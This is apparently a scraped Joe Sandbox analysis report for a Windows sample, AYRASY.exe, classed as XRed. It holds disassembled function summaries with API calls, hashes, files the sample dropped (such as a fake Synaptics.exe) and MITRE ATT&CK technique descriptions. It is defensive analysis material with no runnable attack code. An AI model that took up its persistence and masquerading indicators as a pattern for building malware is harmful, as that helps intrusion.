Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: DirectoryFreeLibrarySystem
String ID: WIN_XPe
API String ID: 510247158-3257408948
Opcode ID: 99ef01522306b8e821f47802f3824d8a3be6cd3cae8ccba3666f18cdb270a6a8
Instruction ID: b130ec10f7c863ca5b32b33e321249366fc8b216c2b0ad0cc06a0386883ae9b0
Opcode Fuzzy Hash: 99ef01522306b8e821f47802f3824d8a3be6cd3cae8ccba3666f18cdb270a6a8
Instruction Fuzzy Hash: 82E0C970C0854DEFCF19DBA9E8CAAEDB7B9BB58300F158896E022B3050C7719A44DF21

Function 001D8495 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 001D849F
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 001D84B2

Part of subcall function 001B8355: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 001B83CD

Strings

Shell_TrayWnd, xrefs: 001D8498

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 778cf1de034c3ffbb96d92563133918022ebb631b27c72d96ccf48b5b406918f
Instruction ID: 4d27195a3d3a425eeafb2c5ea0813008fe77851ff615bf1e871cc79f38ed57c5
Opcode Fuzzy Hash: 778cf1de034c3ffbb96d92563133918022ebb631b27c72d96ccf48b5b406918f
Instruction Fuzzy Hash: 77D0C972394314B7E764A770AC4BFF66A59AB24B11F050929B349AA5D0CAA4B840C664

Function 001D84C9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 001D84DF
PostMessageW.USER32(00000000), ref: 001D84E6

Part of subcall function 001B8355: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 001B83CD

Strings

Shell_TrayWnd, xrefs: 001D84D8

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 47d80bd2e68ad23322fbb6a1432fbd945e97112a65b31d04800ac370a3f2c0e8
Instruction ID: 039f07be4ecdc685b988010cacb4ef25f4cdbe57e2ccaf39566bbc78a65be112
Opcode Fuzzy Hash: 47d80bd2e68ad23322fbb6a1432fbd945e97112a65b31d04800ac370a3f2c0e8
Instruction Fuzzy Hash: E6D0A9323803107BE720A370AC0BFE66648AB28B11F000928B309AA1D0CAA0B800C624

Function 001BD009 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 001BD01E
GetTempFileNameW.KERNEL32(?,aut,00000000,?), ref: 001BD035

Strings

aut, xrefs: 001BD02F

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: f781b5f02faa7251ab1abba640025bcf13c239cb1cb39ab543ccb35c019b2ef3
Instruction ID: ea0f019b8f027b4aa73e3a2c6861c525891fa131d9ad932bafdd6afc793eea94
Opcode Fuzzy Hash: f781b5f02faa7251ab1abba640025bcf13c239cb1cb39ab543ccb35c019b2ef3
Instruction Fuzzy Hash: 41D05EB154030EBBDB10ABA0FD0EFB9776CA700704F1041907614D10D1D6B4D695CBA0

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report AYRASY.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: XRed

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Synaptics.exe_6006a5d9523bc6e9daf98fd59a42cdc1f3fde8b_455b7b6e_d3d18fab-5b89-4e6f-986b-da59d36e17e2\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9F05.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAA6F.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAAAF.tmp.xml

C:\ProgramData\Synaptics\RCX4413.tmp

C:\ProgramData\Synaptics\Synaptics.exe

C:\ProgramData\Synaptics\Synaptics.exe:Zone.Identifier

Windows Analysis Report
AYRASY.exe

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre